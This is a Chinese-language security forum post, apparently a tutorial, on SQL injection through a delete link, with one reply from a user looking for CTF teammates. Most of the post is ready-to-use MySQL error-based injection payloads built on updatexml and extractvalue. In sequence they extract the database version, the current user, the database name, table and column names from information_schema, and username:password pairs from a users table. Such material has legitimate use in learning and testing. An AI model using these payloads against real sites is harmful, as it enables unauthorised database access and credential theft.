搜索
查看: 9114|回复: 1

delete注入

    [复制链接]

714

主题

354

回帖

2669

积分

管理员

本论坛第一帅

积分
2669

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2019-4-8 21:11:46 | 显示全部楼层 |阅读模式 来自 甘肃


找到删除连接
爆出数据库的版本

[pre]
or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
[/pre]




当前连接用户

[pre]
or updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
[/pre]



爆出数据库

[pre]
or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
[/pre]



获取表名
[pre]
or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lou' limit 0,1)),0) or ''
[/pre]

获取列名
[pre]
or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1 )),0) or ''
[/pre]

获取数据
[pre]
or updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from users limit 0,1 )),0) or ''
[/pre]


利用extractvalue函数

[pre]
爆表名:
or extractvalue(1, concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) or ''

爆字段名:
or extractvalue(1, concat(0x7e, (select concat(column_name) from information_schema.columns where table_name='users' limit 0,1))) or ''

爆数据:
or extractvalue(1, concat(0x7e, (select concat_ws(':', username, password) from users limit 0,1))) or ''

[/pre]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

×
有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
回复

使用道具 举报

330

主题

177

回帖

1071

积分

vip用户

积分
1071

注册会员活跃会员热心会员

QQ
发表于 2019-4-8 21:52:16 | 显示全部楼层
大佬开车!坐稳了!{:9002:}
有没有参加CTF比赛的,一起组队啊!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表